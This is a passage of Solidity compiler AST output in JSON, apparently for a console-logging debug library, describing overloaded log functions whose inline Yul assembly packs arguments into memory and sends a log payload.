Type":"YulFunctionCall","src":"268733:16:22"},"nativeSrc":"268733:16:22","nodeType":"YulExpressionStatement","src":"268733:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268769:4:22","nodeType":"YulLiteral","src":"268769:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"268775:2:22","nodeType":"YulIdentifier","src":"268775:2:22"}],"functionName":{"name":"mstore","nativeSrc":"268762:6:22","nodeType":"YulIdentifier","src":"268762:6:22"},"nativeSrc":"268762:16:22","nodeType":"YulFunctionCall","src":"268762:16:22"},"nativeSrc":"268762:16:22","nodeType":"YulExpressionStatement","src":"268762:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268798:4:22","nodeType":"YulLiteral","src":"268798:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"268804:2:22","nodeType":"YulIdentifier","src":"268804:2:22"}],"functionName":{"name":"mstore","nativeSrc":"268791:6:22","nodeType":"YulIdentifier","src":"268791:6:22"},"nativeSrc":"268791:16:22","nodeType":"YulFunctionCall","src":"268791:16:22"},"nativeSrc":"268791:16:22","nodeType":"YulExpressionStatement","src":"268791:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268827:4:22","nodeType":"YulLiteral","src":"268827:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"268833:2:22","nodeType":"YulIdentifier","src":"268833:2:22"}],"functionName":{"name":"mstore","nativeSrc":"268820:6:22","nodeType":"YulIdentifier","src":"268820:6:22"},"nativeSrc":"268820:16:22","nodeType":"YulFunctionCall","src":"268820:16:22"},"nativeSrc":"268820:16:22","nodeType":"YulExpressionStatement","src":"268820:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42680,"isOffset":false,"isSlot":false,"src":"268717:2:22","valueSize":1},{"declaration":42683,"isOffset":false,"isSlot":false,"src":"268746:2:22","valueSize":1},{"declaration":42686,"isOffset":false,"isSlot":false,"src":"268775:2:22","valueSize":1},{"declaration":42689,"isOffset":false,"isSlot":false,"src":"268804:2:22","valueSize":1},{"declaration":42692,"isOffset":false,"isSlot":false,"src":"268833:2:22","valueSize":1}],"id":42700,"nodeType":"InlineAssembly","src":"268681:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"268075:3:22","parameters":{"id":42677,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42670,"mutability":"mutable","name":"p0","nameLocation":"268087:2:22","nodeType":"VariableDeclaration","scope":42702,"src":"268079:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42669,"name":"uint256","nodeType":"ElementaryTypeName","src":"268079:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42672,"mutability":"mutable","name":"p1","nameLocation":"268099:2:22","nodeType":"VariableDeclaration","scope":42702,"src":"268091:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42671,"name":"uint256","nodeType":"ElementaryTypeName","src":"268091:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42674,"mutability":"mutable","name":"p2","nameLocation":"268108:2:22","nodeType":"VariableDeclaration","scope":42702,"src":"268103:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42673,"name":"bool","nodeType":"ElementaryTypeName","src":"268103:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42676,"mutability":"mutable","name":"p3","nameLocation":"268120:2:22","nodeType":"VariableDeclaration","scope":42702,"src":"268112:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42675,"name":"uint256","nodeType":"ElementaryTypeName","src":"268112:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"268078:45:22"},"returnParameters":{"id":42678,"nodeType":"ParameterList","parameters":[],"src":"268138:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42742,"nodeType":"FunctionDefinition","src":"268858:1334:22","nodes":[],"body":{"id":42741,"nodeType":"Block","src":"268930:1262:22","nodes":[],"statements":[{"assignments":[42714],"declarations":[{"constant":false,"id":42714,"mutability":"mutable","name":"m0","nameLocation":"268948:2:22","nodeType":"VariableDeclaration","scope":42741,"src":"268940:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42713,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268940:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42715,"nodeType":"VariableDeclarationStatement","src":"268940:10:22"},{"assignments":[42717],"declarations":[{"constant":false,"id":42717,"mutability":"mutable","name":"m1","nameLocation":"268968:2:22","nodeType":"VariableDeclaration","scope":42741,"src":"268960:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42716,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268960:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42718,"nodeType":"VariableDeclarationStatement","src":"268960:10:22"},{"assignments":[42720],"declarations":[{"constant":false,"id":42720,"mutability":"mutable","name":"m2","nameLocation":"268988:2:22","nodeType":"VariableDeclaration","scope":42741,"src":"268980:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42719,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268980:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42721,"nodeType":"VariableDeclarationStatement","src":"268980:10:22"},{"assignments":[42723],"declarations":[{"constant":false,"id":42723,"mutability":"mutable","name":"m3","nameLocation":"269008:2:22","nodeType":"VariableDeclaration","scope":42741,"src":"269000:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42722,"name":"bytes32","nodeType":"ElementaryTypeName","src":"269000:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42724,"nodeType":"VariableDeclarationStatement","src":"269000:10:22"},{"assignments":[42726],"declarations":[{"constant":false,"id":42726,"mutability":"mutable","name":"m4","nameLocation":"269028:2:22","nodeType":"VariableDeclaration","scope":42741,"src":"269020:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42725,"name":"bytes32","nodeType":"ElementaryTypeName","src":"269020:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42727,"nodeType":"VariableDeclarationStatement","src":"269020:10:22"},{"assignments":[42729],"declarations":[{"constant":false,"id":42729,"mutability":"mutable","name":"m5","nameLocation":"269048:2:22","nodeType":"VariableDeclaration","scope":42741,"src":"269040:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42728,"name":"bytes32","nodeType":"ElementaryTypeName","src":"269040:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42730,"nodeType":"VariableDeclarationStatement","src":"269040:10:22"},{"assignments":[42732],"declarations":[{"constant":false,"id":42732,"mutability":"mutable","name":"m6","nameLocation":"269068:2:22","nodeType":"VariableDeclaration","scope":42741,"src":"269060:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42731,"name":"bytes32","nodeType":"ElementaryTypeName","src":"269060:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42733,"nodeType":"VariableDeclarationStatement","src":"269060:10:22"},{"AST":{"nativeSrc":"269089:828:22","nodeType":"YulBlock","src":"269089:828:22","statements":[{"body":{"nativeSrc":"269132:313:22","nodeType":"YulBlock","src":"269132:313:22","statements":[{"nativeSrc":"269150:15:22","nodeType":"YulVariableDeclaration","src":"269150:15:22","value":{"kind":"number","nativeSrc":"269164:1:22","nodeType":"YulLiteral","src":"269164:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"269154:6:22","nodeType":"YulTypedName","src":"269154:6:22","type":""}]},{"body":{"nativeSrc":"269235:40:22","nodeType":"YulBlock","src":"269235:40:22","statements":[{"body":{"nativeSrc":"269264:9:22","nodeType":"YulBlock","src":"269264:9:22","statements":[{"nativeSrc":"269266:5:22","nodeType":"YulBreak","src":"269266:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"269252:6:22","nodeType":"YulIdentifier","src":"269252:6:22"},{"name":"w","nativeSrc":"269260:1:22","nodeType":"YulIdentifier","src":"269260:1:22"}],"functionName":{"name":"byte","nativeSrc":"269247:4:22","nodeType":"YulIdentifier","src":"269247:4:22"},"nativeSrc":"269247:15:22","nodeType":"YulFunctionCall","src":"269247:15:22"}],"functionName":{"name":"iszero","nativeSrc":"269240:6:22","nodeType":"YulIdentifier","src":"269240:6:22"},"nativeSrc":"269240:23:22","nodeType":"YulFunctionCall","src":"269240:23:22"},"nativeSrc":"269237:36:22","nodeType":"YulIf","src":"269237:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"269192:6:22","nodeType":"YulIdentifier","src":"269192:6:22"},{"kind":"number","nativeSrc":"269200:4:22","nodeType":"YulLiteral","src":"269200:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"269189:2:22","nodeType":"YulIdentifier","src":"269189:2:22"},"nativeSrc":"269189:16:22","nodeType":"YulFunctionCall","src":"269189:16:22"},"nativeSrc":"269182:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"269206:28:22","nodeType":"YulBlock","src":"269206:28:22","statements":[{"nativeSrc":"269208:24:22","nodeType":"YulAssignment","src":"269208:24:22","value":{"arguments":[{"name":"length","nativeSrc":"269222:6:22","nodeType":"YulIdentifier","src":"269222:6:22"},{"kind":"number","nativeSrc":"269230:1:22","nodeType":"YulLiteral","src":"269230:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"269218:3:22","nodeType":"YulIdentifier","src":"269218:3:22"},"nativeSrc":"269218:14:22","nodeType":"YulFunctionCall","src":"269218:14:22"},"variableNames":[{"name":"length","nativeSrc":"269208:6:22","nodeType":"YulIdentifier","src":"269208:6:22"}]}]},"pre":{"nativeSrc":"269186:2:22","nodeType":"YulBlock","src":"269186:2:22","statements":[]},"src":"269182:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"269299:3:22","nodeType":"YulIdentifier","src":"269299:3:22"},{"name":"length","nativeSrc":"269304:6:22","nodeType":"YulIdentifier","src":"269304:6:22"}],"functionName":{"name":"mstore","nativeSrc":"269292:6:22","nodeType":"YulIdentifier","src":"269292:6:22"},"nativeSrc":"269292:19:22","nodeType":"YulFunctionCall","src":"269292:19:22"},"nativeSrc":"269292:19:22","nodeType":"YulExpressionStatement","src":"269292:19:22"},{"nativeSrc":"269328:37:22","nodeType":"YulVariableDeclaration","src":"269328:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"269345:3:22","nodeType":"YulLiteral","src":"269345:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"269354:1:22","nodeType":"YulLiteral","src":"269354:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"269357:6:22","nodeType":"YulIdentifier","src":"269357:6:22"}],"functionName":{"name":"shl","nativeSrc":"269350:3:22","nodeType":"YulIdentifier","src":"269350:3:22"},"nativeSrc":"269350:14:22","nodeType":"YulFunctionCall","src":"269350:14:22"}],"functionName":{"name":"sub","nativeSrc":"269341:3:22","nodeType":"YulIdentifier","src":"269341:3:22"},"nativeSrc":"269341:24:22","nodeType":"YulFunctionCall","src":"269341:24:22"},"variables":[{"name":"shift","nativeSrc":"269332:5:22","nodeType":"YulTypedName","src":"269332:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"269393:3:22","nodeType":"YulIdentifier","src":"269393:3:22"},{"kind":"number","nativeSrc":"269398:4:22","nodeType":"YulLiteral","src":"269398:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"269389:3:22","nodeType":"YulIdentifier","src":"269389:3:22"},"nativeSrc":"269389:14:22","nodeType":"YulFunctionCall","src":"269389:14:22"},{"arguments":[{"name":"shift","nativeSrc":"269409:5:22","nodeType":"YulIdentifier","src":"269409:5:22"},{"arguments":[{"name":"shift","nativeSrc":"269420:5:22","nodeType":"YulIdentifier","src":"269420:5:22"},{"name":"w","nativeSrc":"269427:1:22","nodeType":"YulIdentifier","src":"269427:1:22"}],"functionName":{"name":"shr","nativeSrc":"269416:3:22","nodeType":"YulIdentifier","src":"269416:3:22"},"nativeSrc":"269416:13:22","nodeType":"YulFunctionCall","src":"269416:13:22"}],"functionName":{"name":"shl","nativeSrc":"269405:3:22","nodeType":"YulIdentifier","src":"269405:3:22"},"nativeSrc":"269405:25:22","nodeType":"YulFunctionCall","src":"269405:25:22"}],"functionName":{"name":"mstore","nativeSrc":"269382:6:22","nodeType":"YulIdentifier","src":"269382:6:22"},"nativeSrc":"269382:49:22","nodeType":"YulFunctionCall","src":"269382:49:22"},"nativeSrc":"269382:49:22","nodeType":"YulExpressionStatement","src":"269382:49:22"}]},"name":"writeString","nativeSrc":"269103:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"269124:3:22","nodeType":"YulTypedName","src":"269124:3:22","type":""},{"name":"w","nativeSrc":"269129:1:22","nodeType":"YulTypedName","src":"269129:1:22","type":""}],"src":"269103:342:22"},{"nativeSrc":"269458:17:22","nodeType":"YulAssignment","src":"269458:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"269470:4:22","nodeType":"YulLiteral","src":"269470:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"269464:5:22","nodeType":"YulIdentifier","src":"269464:5:22"},"nativeSrc":"269464:11:22","nodeType":"YulFunctionCall","src":"269464:11:22"},"variableNames":[{"name":"m0","nativeSrc":"269458:2:22","nodeType":"YulIdentifier","src":"269458:2:22"}]},{"nativeSrc":"269488:17:22","nodeType":"YulAssignment","src":"269488:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"269500:4:22","nodeType":"YulLiteral","src":"269500:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"269494:5:22","nodeType":"YulIdentifier","src":"269494:5:22"},"nativeSrc":"269494:11:22","nodeType":"YulFunctionCall","src":"269494:11:22"},"variableNames":[{"name":"m1","nativeSrc":"269488:2:22","nodeType":"YulIdentifier","src":"269488:2:22"}]},{"nativeSrc":"269518:17:22","nodeType":"YulAssignment","src":"269518:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"269530:4:22","nodeType":"YulLiteral","src":"269530:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"269524:5:22","nodeType":"YulIdentifier","src":"269524:5:22"},"nativeSrc":"269524:11:22","nodeType":"YulFunctionCall","src":"269524:11:22"},"variableNames":[{"name":"m2","nativeSrc":"269518:2:22","nodeType":"YulIdentifier","src":"269518:2:22"}]},{"nativeSrc":"269548:17:22","nodeType":"YulAssignment","src":"269548:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"269560:4:22","nodeType":"YulLiteral","src":"269560:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"269554:5:22","nodeType":"YulIdentifier","src":"269554:5:22"},"nativeSrc":"269554:11:22","nodeType":"YulFunctionCall","src":"269554:11:22"},"variableNames":[{"name":"m3","nativeSrc":"269548:2:22","nodeType":"YulIdentifier","src":"269548:2:22"}]},{"nativeSrc":"269578:17:22","nodeType":"YulAssignment","src":"269578:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"269590:4:22","nodeType":"YulLiteral","src":"269590:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"269584:5:22","nodeType":"YulIdentifier","src":"269584:5:22"},"nativeSrc":"269584:11:22","nodeType":"YulFunctionCall","src":"269584:11:22"},"variableNames":[{"name":"m4","nativeSrc":"269578:2:22","nodeType":"YulIdentifier","src":"269578:2:22"}]},{"nativeSrc":"269608:17:22","nodeType":"YulAssignment","src":"269608:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"269620:4:22","nodeType":"YulLiteral","src":"269620:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"269614:5:22","nodeType":"YulIdentifier","src":"269614:5:22"},"nativeSrc":"269614:11:22","nodeType":"YulFunctionCall","src":"269614:11:22"},"variableNames":[{"name":"m5","nativeSrc":"269608:2:22","nodeType":"YulIdentifier","src":"269608:2:22"}]},{"nativeSrc":"269638:17:22","nodeType":"YulAssignment","src":"269638:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"269650:4:22","nodeType":"YulLiteral","src":"269650:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"269644:5:22","nodeType":"YulIdentifier","src":"269644:5:22"},"nativeSrc":"269644:11:22","nodeType":"YulFunctionCall","src":"269644:11:22"},"variableNames":[{"name":"m6","nativeSrc":"269638:2:22","nodeType":"YulIdentifier","src":"269638:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"269738:4:22","nodeType":"YulLiteral","src":"269738:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"269744:10:22","nodeType":"YulLiteral","src":"269744:10:22","type":"","value":"0xa5b4fc99"}],"functionName":{"name":"mstore","nativeSrc":"269731:6:22","nodeType":"YulIdentifier","src":"269731:6:22"},"nativeSrc":"269731:24:22","nodeType":"YulFunctionCall","src":"269731:24:22"},"nativeSrc":"269731:24:22","nodeType":"YulExpressionStatement","src":"269731:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"269775:4:22","nodeType":"YulLiteral","src":"269775:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"269781:2:22","nodeType":"YulIdentifier","src":"269781:2:22"}],"functionName":{"name":"mstore","nativeSrc":"269768:6:22","nodeType":"YulIdentifier","src":"269768:6:22"},"nativeSrc":"269768:16:22","nodeType":"YulFunctionCall","src":"269768:16:22"},"nativeSrc":"269768:16:22","nodeType":"YulExpressionStatement","src":"269768:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"269804:4:22","nodeType":"YulLiteral","src":"269804:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"269810:2:22","nodeType":"YulIdentifier","src":"269810:2:22"}],"functionName":{"name":"mstore","nativeSrc":"269797:6:22","nodeType":"YulIdentifier","src":"269797:6:22"},"nativeSrc":"269797:16:22","nodeType":"YulFunctionCall","src":"269797:16:22"},"nativeSrc":"269797:16:22","nodeType":"YulExpressionStatement","src":"269797:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"269833:4:22","nodeType":"YulLiteral","src":"269833:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"269839:2:22","nodeType":"YulIdentifier","src":"269839:2:22"}],"functionName":{"name":"mstore","nativeSrc":"269826:6:22","nodeType":"YulIdentifier","src":"269826:6:22"},"nativeSrc":"269826:16:22","nodeType":"YulFunctionCall","src":"269826:16:22"},"nativeSrc":"269826:16:22","nodeType":"YulExpressionStatement","src":"269826:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"269862:4:22","nodeType":"YulLiteral","src":"269862:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"269868:4:22","nodeType":"YulLiteral","src":"269868:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"269855:6:22","nodeType":"YulIdentifier","src":"269855:6:22"},"nativeSrc":"269855:18:22","nodeType":"YulFunctionCall","src":"269855:18:22"},"nativeSrc":"269855:18:22","nodeType":"YulExpressionStatement","src":"269855:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"269898:4:22","nodeType":"YulLiteral","src":"269898:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"269904:2:22","nodeType":"YulIdentifier","src":"269904:2:22"}],"functionName":{"name":"writeString","nativeSrc":"269886:11:22","nodeType":"YulIdentifier","src":"269886:11:22"},"nativeSrc":"269886:21:22","nodeType":"YulFunctionCall","src":"269886:21:22"},"nativeSrc":"269886:21:22","nodeType":"YulExpressionStatement","src":"269886:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42714,"isOffset":false,"isSlot":false,"src":"269458:2:22","valueSize":1},{"declaration":42717,"isOffset":false,"isSlot":false,"src":"269488:2:22","valueSize":1},{"declaration":42720,"isOffset":false,"isSlot":false,"src":"269518:2:22","valueSize":1},{"declaration":42723,"isOffset":false,"isSlot":false,"src":"269548:2:22","valueSize":1},{"declaration":42726,"isOffset":false,"isSlot":false,"src":"269578:2:22","valueSize":1},{"declaration":42729,"isOffset":false,"isSlot":false,"src":"269608:2:22","valueSize":1},{"declaration":42732,"isOffset":false,"isSlot":false,"src":"269638:2:22","valueSize":1},{"declaration":42704,"isOffset":false,"isSlot":false,"src":"269781:2:22","valueSize":1},{"declaration":42706,"isOffset":false,"isSlot":false,"src":"269810:2:22","valueSize":1},{"declaration":42708,"isOffset":false,"isSlot":false,"src":"269839:2:22","valueSize":1},{"declaration":42710,"isOffset":false,"isSlot":false,"src":"269904:2:22","valueSize":1}],"id":42734,"nodeType":"InlineAssembly","src":"269080:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42736,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"269942:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42737,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"269948:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42735,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"269926:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42738,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"269926:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42739,"nodeType":"ExpressionStatement","src":"269926:27:22"},{"AST":{"nativeSrc":"269972:214:22","nodeType":"YulBlock","src":"269972:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"269993:4:22","nodeType":"YulLiteral","src":"269993:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"269999:2:22","nodeType":"YulIdentifier","src":"269999:2:22"}],"functionName":{"name":"mstore","nativeSrc":"269986:6:22","nodeType":"YulIdentifier","src":"269986:6:22"},"nativeSrc":"269986:16:22","nodeType":"YulFunctionCall","src":"269986:16:22"},"nativeSrc":"269986:16:22","nodeType":"YulExpressionStatement","src":"269986:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270022:4:22","nodeType":"YulLiteral","src":"270022:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"270028:2:22","nodeType":"YulIdentifier","src":"270028:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270015:6:22","nodeType":"YulIdentifier","src":"270015:6:22"},"nativeSrc":"270015:16:22","nodeType":"YulFunctionCall","src":"270015:16:22"},"nativeSrc":"270015:16:22","nodeType":"YulExpressionStatement","src":"270015:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270051:4:22","nodeType":"YulLiteral","src":"270051:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"270057:2:22","nodeType":"YulIdentifier","src":"270057:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270044:6:22","nodeType":"YulIdentifier","src":"270044:6:22"},"nativeSrc":"270044:16:22","nodeType":"YulFunctionCall","src":"270044:16:22"},"nativeSrc":"270044:16:22","nodeType":"YulExpressionStatement","src":"270044:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270080:4:22","nodeType":"YulLiteral","src":"270080:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"270086:2:22","nodeType":"YulIdentifier","src":"270086:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270073:6:22","nodeType":"YulIdentifier","src":"270073:6:22"},"nativeSrc":"270073:16:22","nodeType":"YulFunctionCall","src":"270073:16:22"},"nativeSrc":"270073:16:22","nodeType":"YulExpressionStatement","src":"270073:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270109:4:22","nodeType":"YulLiteral","src":"270109:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"270115:2:22","nodeType":"YulIdentifier","src":"270115:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270102:6:22","nodeType":"YulIdentifier","src":"270102:6:22"},"nativeSrc":"270102:16:22","nodeType":"YulFunctionCall","src":"270102:16:22"},"nativeSrc":"270102:16:22","nodeType":"YulExpressionStatement","src":"270102:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270138:4:22","nodeType":"YulLiteral","src":"270138:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"270144:2:22","nodeType":"YulIdentifier","src":"270144:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270131:6:22","nodeType":"YulIdentifier","src":"270131:6:22"},"nativeSrc":"270131:16:22","nodeType":"YulFunctionCall","src":"270131:16:22"},"nativeSrc":"270131:16:22","nodeType":"YulExpressionStatement","src":"270131:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"270167:4:22","nodeType":"YulLiteral","src":"270167:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"270173:2:22","nodeType":"YulIdentifier","src":"270173:2:22"}],"functionName":{"name":"mstore","nativeSrc":"270160:6:22","nodeType":"YulIdentifier","src":"270160:6:22"},"nativeSrc":"270160:16:22","nodeType":"YulFunctionCall","src":"270160:16:22"},"nativeSrc":"270160:16:22","nodeType":"YulExpressionStatement","src":"270160:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42714,"isOffset":false,"isSlot":false,"src":"269999:2:22","valueSize":1},{"declaration":42717,"isOffset":false,"isSlot":false,"src":"270028:2:22","valueSize":1},{"declaration":42720,"isOffset":false,"isSlot":false,"src":"270057:2:22","valueSize":1},{"declaration":42723,"isOffset":false,"isSlot":false,"src":"270086:2:22","valueSize":1},{"declaration":42726,"isOffset":false,"isSlot":false,"src":"270115:2:22","valueSize":1},{"declaration":42729,"isOffset":false,"isSlot":false,"src":"270144:2:22","valueSize":1},{"declaration":42732,"isOffset":false,"isSlot":false,"src":"270173:2:22","valueSize":1}],"id":42740,"nodeType":"InlineAssembly","src":"269963:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"268867:3:22","parameters":{"id":42711,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42704,"mutability":"mutable","name":"p0","nameLocation":"268879:2:22","nodeType":"VariableDeclaration","scope":42742,"src":"268871:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42703,"name":"uint256","nodeType":"ElementaryTypeName","src":"268871:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42706,"mutability":"mutable","name":"p1","nameLocation":"268891:2:22","nodeType":"VariableDeclaration","scope":42742,"src":"268883:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42705,"name":"uint256","nodeType":"ElementaryTypeName","src":"268883:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42708,"mutability":"mutable","name":"p2","nameLocation":"268900:2:22","nodeType":"VariableDeclaration","scope":42742,"src":"268895:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42707,"name":"bool","nodeType":"ElementaryTypeName","src":"268895:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42710,"mutability":"mutable","name":"p3","nameLocation":"268912:2:22","nodeType":"VariableDeclaration","scope":42742,"src":"268904:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42709,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268904:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"268870:45:22"},"returnParameters":{"id":42712,"nodeType":"ParameterList","parameters":[],"src":"268930:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42776,"nodeType":"